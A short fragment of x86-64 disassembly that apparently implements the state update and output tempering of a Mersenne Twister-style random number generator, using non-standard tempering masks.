xor ecx, dword [r8 - 0xd4c]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140041f10
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret